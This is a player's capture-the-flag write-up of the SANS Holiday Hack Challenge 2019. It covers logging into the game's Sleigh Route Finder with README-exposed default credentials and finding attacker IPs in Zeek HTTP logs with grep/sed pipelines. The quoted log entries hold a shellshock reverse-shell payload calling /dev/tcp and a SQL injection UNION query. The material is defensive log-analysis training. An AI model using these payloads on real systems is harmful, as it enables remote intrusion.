Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?

For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.

✓ 11) Open the Sleigh Shop Door

Difficulty: ★★★★★

Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?

For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.

Congratulations! You have completed the Open the Sleigh Workshop Door challenge!

After completing this Objective, the Sleigh Shop Door in the Student Union should now be open and you can enter this room. Talk again with Shinny Upatree in the Student Union to get some additional detail on Objective 12.

Shinny Upatree

Wha - what?? You got into my crate?!

Well that's embarrassing...

But you know what? Hmm... If you're good enough to crack MY security...

Do you think you could bring this all to a grand conclusion?

Please go into the sleigh shop and see if you can finish this off!

Stop the Tooth Fairy from ruining Santa's sleigh route!

Objective 12 – Filter Out Poisoned Sources of Weather Data

For this Objective, the summary given in the badge supplies you with the Zeek JSON logs (<https://downloads.elfu.org/http.log.gz>) you will need to analyze to solve this challenge. You also are supplied a link to the Sleigh Route Finder website (<https://srf.elfu.org/>). Shinnny Upatree also provides the following additional information after solving Objective 11:

Shinnny Upatree

Psst - hey!

I'm Shinnny Upatree, and I know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.

In fact, I know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

The only way you could would be if you could break into [my crate](#), here.

You see, I've written the villain's name down on a piece of paper and hidden it away securely!



After solving Objective 11, you can now enter the Sleigh Shop (through the Student Union). In this room you can interact with 3 characters: The Tooth Fairy, Wunorse Openslae, and Krampus. Also, in this room is a console for the Sleigh Route Finder or you can access it directly at: <https://srf.elfu.org/>

Interacting with The Tooth Fairy, confirms what you already know which is she is the mastermind behind the plot. Interacting with Krampus will also lead you to <https://srf.elfu.org/> to solve the final objective. Wunorse Openslae introduces a separate achievement challenge that is in this room called *Zeek JSON Analysis* and upon solving that simpler challenge, interacting again will provide the following hint for Objective 12:

Wunorse Openslae

Hey, you know what? We've got a crisis here.

You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data.

All the weather stations are reporting severe weather to Santa's Sleigh. I think someone might be forging intentionally false weather data!

I'm so flummoxed I can't even remember how to login!

Hmm... Maybe the Zeek [http.log](#) could help us.

I worry about LFI, XSS, and SQLi in the Zeek log - oh my!

And I'd be shocked if there weren't some shell stuff in there too.

Objective 12 has two components:


1. Gain access to <https://srf.elfu.org/> (needs a credential to login)
2. Analyze the provided logs (<https://downloads.elfu.org/http.log.gz>) and find the 100 attacking ip addresses in these logs so they can be blocked using the Sleigh Route Finder website.

Gaining Access to the Sleigh Router Finder Website

The important clue for this is reading the pdf document we decrypted in Objective 10 which is the Super Sled-o-matic Quick Start Guide pdf. On page 3 of this pdf, there is this text below:

3. SRF - Sleigh Route Finder Web API

The SRF Web API is started up on Super Sled-O-Matic device bootup and by default binds to 0.0.0.0:1225:




The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

The key phrases being: "default login credentials", "readme" and "git repository"

Putting those together, it's possible that when <https://srf.elfu.org> was setup, the admin just did a straight "git clone" right into the webroot and the standard readme file for a git repository by default is: **README.md**.

Trying this URL: <https://srf.elfu.org/README.md> retrieves the readme file with documentation on the default credential:



```
# Sled-O-Matic - Sleigh Route Finder Web API

### Installation
```
sudo apt install python3-pip
sudo python3 -m pip install -r requirements.txt
```



#### Running:
`python3 ./srfweb.py`

#### Logging in:
You can login using the default admin pass:
`admin 924158F9522B3744F5FCD4D10FAC4356`



However, it's recommended to change this in the sqlite db to something custom.
```

admin 924158F9522B3744F5FCD4D10FAC4356


Using these credentials, we can login to <https://srf.elfu.org/>




The SRF website has three main sections starting with a link to the **API docs**:



The Weather Map section:



And finally, the Firewall section:




Now on to the second part of this Objective - analyzing the logs:

Analyzing the http.log.gz Logs

As with previous Objectives, there are many tools and methods that could have been used to parse and analyze these logs. I chose to do the analysis completely with Linux command line utilities to parse the logs and find the 100 offending ip addresses. After much analysis in finding malicious activities (SQLi, LFI, XSS, shellshock/CGI abuses) and related entries with similar attributes, these are the final list of commands that when run on the original http.log.gz file, will generate a sorted list of the 100 offending ip addresses (please excuse the tiny font - wanted each command to fit in one line as much as possible):

```
cat http.log.gz
cat http.log | sed "s/'\"'\\n/g" | sed "/|/" | tr -d '\t' | sed "s/, \"status\\/n\\\"status\\/g" | sed "s/, \\\"response\\/n\\\"response\\/g" | sed "s/, \\\"id\\.resp\\/n\\\"id\\.resp\\/g" | sed "s/, \\\"trans\\/n\\\"trans\\/g" | sed "s/, \\\"method\\/n\\\"method\\/g" | sed "s/'\"'\\n\\n\\n\\n\\n\\n/g" > http-linebyline.log
cat http-linebyline.log | grep -B 12 -A 22 "UNION|etc/passwd|alert|/bin/bash|/bin/sh|{ : ; }/" | sed "/^$/d" > attacks1.txt
cat http-linebyline.log | grep -A 21 -B 8 -i '".host.:.asrf.eflu.org"' | sed "/^$/d" > attacks2.txt
rm attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.CholtAgent\"" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Httpproxy/1.0\"" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; Metasploit RSPCC)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 500.0)." | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 6.0; Windows NT5.1)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE6.0; Windows NT 5.1)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 6.1; Windows NT6.0)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 6.6; Windows NT 5.1)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 6.8; Windows NTS)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 7.0; Windos NT 6.0)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident4;0.0)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible;MSIE7.0;Windows NT 6." | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 8.0; Window NT 5.1)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident4;0.0; .NET CLR 1.1.4322; /)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident4;0.0; .NET CLR 1.1.4322; PeoplePa/7.0; .NET CLR 2.0.50727)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident5;0.0)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (compatible; MSIE 10.0; Window NT 6.1; Trident6;0.0)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (Windows NT 10.0; Win64;x64)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (Windows NT 5.1; v.)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (Windows NT 6.1; WOW64; Chrome/20.0.101001) Chrome/53.0)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; AppleWebKit/525.13 (KHTML, like Gecko) chrome/4.0.221.6 safari/525.13)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (Windows; U; Windows NT5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Opera/8.81 (Windows-NT 6.1; U; en)" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.RookE1.1.0" | sed "/^$/d" > attacks3.txt
cat http-linebyline.log | grep -A 12 -B 17 "\".user_agent.:.Soret.1.9rcvcs-stable (Red Hat modified)" | sed "/^$/d" > attacks3.txt
cat attacks1.txt attacks2.txt attacks3.txt | grep id.orig.h | sort -unq | cut -f 2 -d '|' | tr -d '\\*' | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq | sed "s/$/|32./g" | tr -d "\\n" | sed "s/$./n/g" | sed "s/^./n/g"
```

[illegible]


```
attacks2.txt
~/Objective12-analysis

{"ts": "2019-10-20T22:28:09-0700"
"uid": "CrjcZ24143I7y1LT0f"
"id.orig_h": "31.254.228.4"
"id.orig_p": 48051
"id.resp_h": "10.20.3.80"
"id.resp_p": 80
"trans_depth": 1
"method": "GET"
"host": "ssrf.elfu.org"
"uri": "/api/stations"
"referrer": "-"
"version": "1.1"
"user_agent": "() { :; }; /bin/bash -i >& /dev/tcp/31.254.228.4/48051 0>&1"
"origin": "-"
"request_body_len": 0
"response_body_len": 0
"status_code": 400
"status_msg": "Bad Request"
"info_code": "-"
"info_msg": "-"
"tags": "(empty)"
"username": "-"
"password": "-"
"proxied": "-"
"orig_fuids": "-"
"orig_filenames": "-"
"orig_mime_types": "-"
"resp_fuids": "FcDW1z9Bmpan4VUo"
"resp_filenames": "-"
"resp_mime_types": "-"}
--
{"ts": "2019-10-21T00:50:58-0700"
"uid": "CYjceILLippvzJdl4"
"id.orig_h": "32.168.17.54"
"id.orig_p": 53593
"id.resp_h": "10.20.3.80"
"id.resp_p": 80
"trans_depth": 2
"method": "GET"
"host": "ssrf.elfu.org"
"uri": "/alert.html"
"referrer": "-"
"version": "1.1"
"user_agent": "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)"
"origin": "-"
"request_body_len": 0
"response_body_len": 0
"status_code": 200
"status_msg": "OK"
"info_code": "-"
"info_msg": "-"
"tags": "(empty)"
"username": "-"
"password": "-"
"proxied": "-"
"orig_fuids": "-"
"orig_filenames": "-"
"orig_mime_types": "-"
"resp_fuids": "FcDW1z9Bmpan4VUo"
"resp_filenames": "-"
"resp_mime_types": "-"}
--
{"ts": "2019-10-21T07:12:17-0700"
"uid": "CgNT4N1iBvDyPzrQd"
"id.orig_h": "135.32.99.116"
"id.orig_p": 3783
"id.resp_h": "10.20.3.80"
"id.resp_p": 80
"trans_depth": 2
"method": "GET"
"host": "srf.elfu.org"
"uri": "/api/stations?station_id=1' UNION SELECT 1,2,'automatedscanning',4,5,6,7,8,9,10,11,12,13/'"
"referrer": "http://srf.elfu.org/"
"version": "1.1"
"user_agent": "CholTBAgent"
"origin": "-"
"request_body_len": 0
"response_body_len": 0
"status_code": 200
"status_msg": "OK"
"info_code": "-"
"info_msg": "-"
"tags": "(empty)"
"username": "-"
"password": "-"
"proxied": "-"
"orig_fuids": "-"
"orig_filenames": "-"
"orig_mime_types": "-"
"resp_fuids": "FcDW1z9Bmpan4VUo"
"resp_filenames": "-"
"resp_mime_types": "-"}
--
{"ts": "2019-10-13T07:13:01-0700"
"uid": "COLJ703DNDMS4nFdI9"
"id.orig_h": "103.235.93.133"
"id.orig_p": 3787
"id.resp_h": "10.20.3.80"
"id.resp_p": 80
"trans_depth": 3
"method": "GET"
"host": "-"
"uri": "/img/badweather.png"
"referrer": "-"
"version": "1.1"
"user_agent": "CholTBAgent"
"origin": "-"
"request_body_len": 0
"response_body_len": 84841
"status_code": 200
"status_msg": "OK"
"info_code": "-"
"info_msg": "-"
"tags": "(empty)"
"username": "-"
"password": "-"
"proxied": "-"
"orig_fuids": "-"
"orig_filenames": "-"
"orig_mime_types": "-"
"resp_fuids": "FcDW1z9Bmpan4VUo"
"resp_filenames": "-"
"resp_mime_types": "-"}
--
{"ts": "2019-10-05T07:07:14-0800"
```


```
attacks3.txt
~/Objective12-analysis

{"ts": "2019-10-13T07:12:17-0700"
"uid": "CgNT4N1iBvDyPzrQd"
"id.orig_h": "135.32.99.116"
"id.orig_p": 3783
"id.resp_h": "10.20.3.80"
"id.resp_p": 80
"trans_depth": 2
"method": "GET"
"host": "srf.elfu.org"
"uri": "/api/stations?station_id=1' UNION SELECT 1,2,'automatedscanning',4,5,6,7,8,9,10,11,12,13/'"
"referrer": "http://srf.elfu.org/"
"version": "1.1"
"user_agent": "CholTBAgent"
"origin": "-"
"request_body_len": 0
"response_body_len": 0
"status_code": 200
"status_msg": "OK"
"info_code": "-"
"info_msg": "-"
"tags": "(empty)"
"username": "-"
"password": "-"
"proxied": "-"
"orig_fuids": "-"
"orig_filenames": "-"
"orig_mime_types": "-"
"resp_fuids": "FcDW1z9Bmpan4VUo"
"resp_filenames": "-"
"resp_mime_types": "-"}
--
{"ts": "2019-10-13T07:13:01-0700"
"uid": "COLJ703DNDMS4nFdI9"
"id.orig_h": "103.235.93.133"
"id.orig_p": 3787
"id.resp_h": "10.20.3.80"
"id.resp_p": 80
"trans_depth": 3
"method": "GET"
"host": "-"
"uri": "/img/badweather.png"
"referrer": "-"
"version": "1.1"
"user_agent": "CholTBAgent"
"origin": "-"
"request_body_len": 0
"response_body_len": 84841
"status_code": 200
"status_msg": "OK"
"info_code": "-"
"info_msg": "-"
"tags": "(empty)"
"username": "-"
"password": "-"
"proxied": "-"
"orig_fuids": "-"
"orig_filenames": "-"
"orig_mime_types": "-"
"resp_fuids": "FcDW1z9Bmpan4VUo"
"resp_filenames": "-"
"resp_mime_types": "-"}
--
{"ts": "2019-10-05T07:07:14-0800"
```


The final sorted csv list of 100 malicious ip addresses poisoning the weather data:

```
0.216.249.31/32,2.230.60.70/32,2.240.116.254/32,6.144.27.227/32,9.95.128.208/32,9.206.21
2.33/32,10.122.158.57/32,10.155.246.29/32,13.39.153.254/32,19.235.69.221/32,22.34.153.16
4/32,23.49.177.78/32,23.79.123.99/32,27.88.56.114/32,28.169.41.122/32,29.0.183.220/32,31
.116.232.143/32,31.254.228.4/32,32.168.17.54/32,34.129.179.28/32,34.155.174.167/32,37.21
6.249.50/32,42.16.149.112/32,42.103.246.250/32,42.127.244.30/32,42.191.112.181/32,44.74.
106.131/32,44.164.136.41/32,45.239.232.245/32,48.66.193.176/32,49.161.8.58/32,50.154.111
.0/32,53.160.218.44/32,56.5.47.137/32,61.110.82.125/32,65.153.114.120/32,66.116.147.181/
32,68.115.251.76/32,69.221.145.150/32,72.183.132.206/32,75.73.228.192/32,80.244.147.207/
32,81.14.204.154/32,83.0.8.119/32,84.147.231.129/32,87.195.80.126/32,92.213.148.0/32,95.
166.116.45/32,97.220.93.190/32,102.143.16.184/32,103.235.93.133/32,104.179.109.113/32,10
6.93.213.219/32,106.132.195.153/32,111.81.145.191/32,116.116.98.205/32,118.26.57.38/32,1
18.196.230.170/32,121.7.186.163/32,123.127.233.97/32,126.102.12.53/32,129.121.121.48/32,
131.186.145.73/32,135.32.99.116/32,135.203.243.43/32,140.60.154.239/32,142.128.135.10/32
,148.146.134.52/32,150.45.133.97/32,155.129.97.35/32,158.171.84.209/32,168.66.108.62/32,
173.37.160.150/32,185.19.7.133/32,186.28.46.179/32,187.152.203.243/32,187.178.169.123/32
,190.245.228.38/32,200.75.228.240/32,203.68.29.5/32,206.253.249.195/32,217.132.156.225/3
2,220.132.33.81/32,223.149.180.133/32,225.191.220.138/32,226.102.56.13/32,226.240.188.15
4/32,227.110.45.126/32,229.133.163.235/32,229.229.189.246/32,230.246.50.221/32,231.179.1
08.238/32,238.143.78.114/32,249.34.9.16/32,249.90.116.138/32,249.237.77.152/32,250.22.86
.40/32,252.122.243.212/32,253.65.40.39/32,253.182.102.55/32
```

Entering this into the Firewall section of the SRF web site as Deny entries:

**SLEIGH ROUTE FINDER API**

API DOCWEATHER MAP**FIREWALL**LOGOUT



Route Calculation Success! RID:0807198508261964

Firewall rules apply in the order they appear in the list below and should always end in a default deny/accept of 0.0.0.0/0. To submit a single IP, you could provide something similar to 1.1.1.1/32 or 1.1.1.1. To submit a range, you could provide 192.168.1.0/24 and to submit a list of IPs you can use csv format similar to 1.1.1.1/32, 2.2.2.2, 3.3.3.3/32 etc...

IP Address/Range

ip/cidr OR ip/cidr,ip/cidr,ip/cidr

ACCEPTDENYRESET

D:253.182.102.55/32 ×D:253.65.40.39/32 ×


D:252.122.243.212/32 ×D:250.22.86.40/32 ×

D:249.237.77.152/32 ×D:249.90.116.138/32 ×

D:249.34.9.16/32 ×D:238.143.78.114/32 ×


The answer to Objective 12 needed for the badge question is the string: **0807198508261964**

✓ 12) Filter Out Poisoned Sources of Weather Data

Difficulty: 

Use the data supplied in the [Zeek JSON logs](#) to identify the IP addresses of attackers poisoning Santa's flight mapping software. [Block the 100 offending sources of information to guide Santa's sleigh](#) through the attack. Submit the Route ID ("RID") success value that you're given. *For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.*

✓ 12) Filter Out Poisoned Sources of Weather Data


Difficulty: 

Use the data supplied in the [Zeek JSON logs](#) to identify the IP addresses of attackers poisoning Santa's flight mapping software. [Block the 100 offending sources of information to guide Santa's sleigh](#) through the attack. Submit the Route ID ("RID") success value that you're given. *For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.*

Congratulations! You have completed the Filter Out Poisoned Sources of Weather Data challenge!



After completing Objective 12, the door to the Bell Tower is open and you climb the ladder that leads to the End Game...



End Game



You did it!

You Won!

Through your diligent efforts, you brought the Tooth Fairy to justice and saved the holidays! Congratulations!

Bask in the pure joy of 80's *Everybody Wants to Rule the World*

Speak to the three characters for the final message and unlock of the last Narrative sections:

Santa Final:

*You did it! Thank you! You uncovered the sinister plot to destroy the holiday season!
Through your diligent efforts, we've brought the Tooth Fairy to justice and saved the holidays!
Ho Ho Ho!
The more I laugh, the more I fill with glee.
And the more the glee,
The more I'm a merrier me!
Merry Christmas and Happy Holidays.*

Krampus Final:

*Congratulations on a job well done!
Oh, by the way, I won the Frido Sleigh contest.
I got 31.8% of the prizes, though I'll have to figure that out.*

The Tooth Fairy Final:


*You foiled my dastardly plan! I'm ruined!
And I would have gotten away with it too, if it weren't for you meddling kids!*

There also two additional items of note on this screen:



- **There is a Tooth NPC:**



Tooth Dialog:
*I'm Jason!
Also, a tooth!*



- **Letter of Wintry Magic pdf:**



*Thankfully, I didn't have to
implement my plan by myself!
Jack Frost promised to use his
wintry magic to help me subvert
Santa's horrible reign of holiday
merriment NOW and FOREVER!*

Complete Narrative:

Whose grounds these are, I think I know
His home is in the North Pole though
He will not mind me traipsing here
To watch his students learn and grow
Some other folk might stop and sneer
"Two turtle doves, this man did rear?"
I'll find the birds, come push or shove
Objectives given: I'll soon clear
Upon discov'ring each white dove,
The subject of much campus love,
I find the challenges are more
Than one can count on woolen glove.
Who wandered thus through closet door?
Ho ho, what's this? What strange boudoir!
Things here cannot be what they seem
That portal's more than clothing store.
Who enters contests by the ream
And lives in tunnels meant for steam?
This Krampus bloke seems rather strange
And yet I must now join his team...
Despite this fellow's funk and mange
My fate, I think, he's bound to change.
What is this contest all about?
His victory I shall arrange!
To arms, my friends! Do scream and shout!
Some villain targets Santa's route!
What scum - what filth would seek to end
Kris Kringle's journey while he's out?
Surprised, I am, but "shock" may tend
To overstate and condescend.
'Tis little more than plot reveal
That fairies often do extend
And yet, despite her jealous zeal,
My skills did win, my hacking heal!
No dental dealer can so keep
Our red-clad hero in ordeal!
This Christmas must now fall asleep,
But next year comes, and troubles creep.
And Jack Frost hasn't made a peep,
And Jack Frost hasn't made a peep...

Roll Credits

SANS Holiday Hack Challenge 2019

KringleCon 2: Turtle Doves

Direction

Ed Skoudis

Krampus

deckerXL

The Tooth Fairy

Technical Lead

Joshua Wright

Narrative / Story

Ed Skoudis



<https://www.youtube.com/watch?v=B1FMJdqqLiM>

Reference - Locations

Location - Train Station

You start your Elf University Journey here.


1. Characters in this location:
 - a. Santa
 - b. Bushy Evergreen
2. Challenges:
 - a. Escape Ed



Location - The Quad

This is the next section you visit and the central hub that connects other Elf University locations. From the Quad, you can reach Hermey Hall (west), Student Union (north), and the Dorm (east).


1. Characters in this location:
 - a. Santa (umbrella)
 - b. Tangle Coalbox
2. Challenges:
 - a. Frosty Keypad (solve to enter the Dorm)
3. Artifacts:
 - a. LetterToElfUPersonnel.pdf (Objective 2)



Location - Student Union: Main

This is located on the north side of the Quad.

1. Characters in this location:
 - a. Michael and Jane - Two Turtle Doves
 - b. Kent Tinseltooth
 - c. Shiny Upatree
2. Challenges:
 - a. Find Two Turtle Doves
 - b. Smart Braces



Location - Hermey Hall: Main

This is located on the west side of the Quad. It contains speaker Tracks 1-7, Netwars, Speaker Unpreparedness Room, and the Laboratory.

1. Characters in this location:
 - a. SugarPlum Mary
2. Challenges:
 - a. Linux Path
3. Artifacts:
 - a. KringleCon2019_SpeakerAgenda.pdf



KringleCon


Speaker Agenda

KEYNOTE SPEAKER
John Strand
A Hunting We Must Go
Track 1

HOLIDAY HACK CHALLENGE DIRECTOR
Ed Skoudis
Start Here: Welcome to KringleCon 2
Track 1

Katie Knowles How to (Holiday) Hack It: Tips for Crushing CTFs & Pwning Pentests Track 2	Snow Santa's Naughty List: Holiday Themed Social Engineering Track 2
James Brodsky Dashing Through the Logs Track 3	Ron Bowes Reversing Crypto the Easy Way Track 3
Chris Elgee Web Apps: A Trailhead Track 4	Chris Davis Machine Learning Use Cases for Cybersecurity Track 4
Deviant Ollam Optical Decoding of Keys Track 5	Ian Coldwater Learning to Escape Containers Track 5
Dave Kennedy Telling Stories from the North Pole Track 6	Mark Baggett Logs? Where We're Going, We Don't Need Logs. Track 6
Heather Mahalik When Malware Goes Mobile, Quick Detection is Critical Track 7	John Hammond 5 Steps to Build and Lead a Team of Holly Jolly Hackers Track 7
Lesley Carhart Over 90,000: Ups and Downs of my InfoSec Twitter Journey Track 7	






Location - Hermey Hall: NetWars

This is located inside Hermey Hall

1. Characters in this location:
 - a. Holly Evergreen
2. Challenges:
 - a. Mongo Pilfer



Location - Hermey Hall: Speaker Unpreparedness Room

This is located inside Hermey Hall


1. Characters in this location:
 - a. Alabaster Snowball
2. Challenges:
 - a. Nyanshell



Location - Hermey Hall: Track 1

This is located inside Hermey Hall


1. Speaker Talks in this Room:
 - a. Ed Skoudis - Start Here: Welcome to KringleCon 2 - <https://www.youtube.com/watch?v=iUF5pBv7ukM>
 - b. John Strand - A Hunting We Must Go - <https://www.youtube.com/watch?v=jxOZ5u2CYWw>



Location - Hermey Hall: Track 2

This is located inside Hermey Hall

1. Speaker Talks in this Room:
 - a. Katie Knowles - How to (Holiday) Hack It: Tips for Crushing CTFs & Pwning Pentests - <https://www.youtube.com/watch?v=c02mH7F1xvU>
 - b. Snow - Santa's Naughty List: Holiday Themed Social Engineering - <https://www.youtube.com/watch?v=HKLSmbOXJRU>




Location - Hermey Hall: Track 3

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- James Brodsky - Dashing Through the Logs - <https://www.youtube.com/watch?v=qblhHhRKQCw>
- Ron Bowes - Reversing Crypto the Easy Way - <https://www.youtube.com/watch?v=objdpKDPFBA>



Location - Hermey Hall: Track 4

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- Chris Elgee - Web Apps: A Trailhead - <https://www.youtube.com/watch?v=0T6-DQtzCgM>
- Chris Davis - Machine Learning Use Cases for Cybersecurity - https://www.youtube.com/watch?v=jmVPLwjm_zs



Location - Hermey Hall: Track 5

This is located inside Hermey Hall

1. Speaker Talks in this Room:
 - a. Deviant Ollam - Optical Decoding of Keys - <https://www.youtube.com/watch?v=KU6FJnbkeLA>
 - b. Ian Coldwater - Learning to Escape Containers



Location - Hermey Hall: Track 6

This is located inside Hermey Hall

1. Speaker Talks in this Room:
 - a. Dave Kennedy - Telling Stories from the North Pole - <https://www.youtube.com/watch?v=9QuOhRGvryc>
 - b. Mark Baggett - Logs? Where We're Going, We Don't Need Logs - <https://www.youtube.com/watch?v=Dx78oObfiBM>



Location - Hermey Hall: Track 7

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- Heather Mahalik - When Malware Goes Mobile, Quick Detection is Critical - <https://www.youtube.com/watch?v=IEbLOvT4Fts>
- John Hammond - 5 Steps to Build and Lead a Team of Holly Jolly Hackers - <https://www.youtube.com/watch?v=D5Nwg84cV1E>
- Lesley Carhart - Over 90,000 Ups and Downs of my InfoSec Twitter Journey - https://www.youtube.com/watch?v=RplOa_lqXvk



Location - Hermey Hall: The Laboratory

This is located inside Hermey Hall

1. Characters in this location:

- Professor Banas
- Sparkle Redberry

2. Challenges:


- Xmas Cheer Laser



Location - Dorm: Main

This is located on the east side of the Quad. Frosty Keypad challenge must be solved first before entry is allowed

1. Characters in this location:
 - a. Pepper Minstix
 - b. Minty Candycane
2. Challenges:
 - a. Graylog
 - b. Holiday Hack Trail



Location - Dorm: Minty's Dorm Room

This is located inside the Dorm area. Last open room door on the east side of the Dorm.

1. Characters in this location:
 - a. Scampering Krampus
2. Challenges:
 - a. Get Access to the Steam Tunnels/Key Biting Cutter



Location - Dorm: Minty's Closet & Secret Passage (THISISIT)

This is located inside the Dorm area and inside Minty's dorm room.

1. Characters in this location:
 - a. None
2. Challenges:
 - a. Get Access to the Steam Tunnels/Lock



Location - Steam Tunnels

This is located inside the Dorm area and accessed through Minty's closet.

1. Characters in this location:
 - a. Krampus Hollyfeld
2. Challenges:
 - a. Frido Sleigh Contest



Location - Student Union: Sleigh Workshop

This is located inside the Student Union area and accessed through the Sleigh Shop door. Objective 11 must be solved before the Sleigh Shop door will open and you can access this area.

1. Characters in this location:
 - a. The Tooth Fairy
 - b. Wunorse Openslae
 - c. Krampus Hollyfeld
2. Challenges:
 - a. Zeek JSON Analysis
 - b. Sleigh Route Finder



Location - The Bell Tower

This is located inside the Student Union area and accessed through the Bell Tower Access door in the Sleigh Shop. Objective 12 must be solved before the Bell Tower Access door will open and you can access this area.

1. Characters in this location:
 - a. Santa
 - b. The Tooth Fairy (Orange Jumpsuit)
 - c. Krampus Hollyfeld
 - d. Tooth
2. Artifacts:
 - a. <https://downloads.elfu.org/LetterOfWintryMagic.pdf>



Reference - Characters

Characters - Train Station - Santa

Santa is the first character you meet in the game upon arriving at the Train Station. He provides the following dialog:

Picture:



Dialog:

Welcome to the North Pole and KringleCon 2!
Last year, KringleCon hosted over 17,500 attendees and my castle got a little crowded.
We moved the event to Elf University (Elf U for short), the North Pole's largest venue.
Please feel free to explore, watch talks, and enjoy the con!

Unlocks:

Narrative 1 of 10

Characters - Train Station - Bushy Evergreen

Picture:



Dialog:

Initial and Introduction to Escape Ed Challenge:
Hi, I'm Bushy Evergreen. Welcome to Elf U!
I'm glad you're here. I'm the target of a terrible trick.
Pepper Minstix is at it again, sticking me in a text editor.
Pepper is forcing me to learn ed.
Even the hint is ugly. Why can't I just use Gedit?
Please help me just quit the grinchy thing.

...

Hint for Objective 3:
Wow, that was much easier than I'd thought.
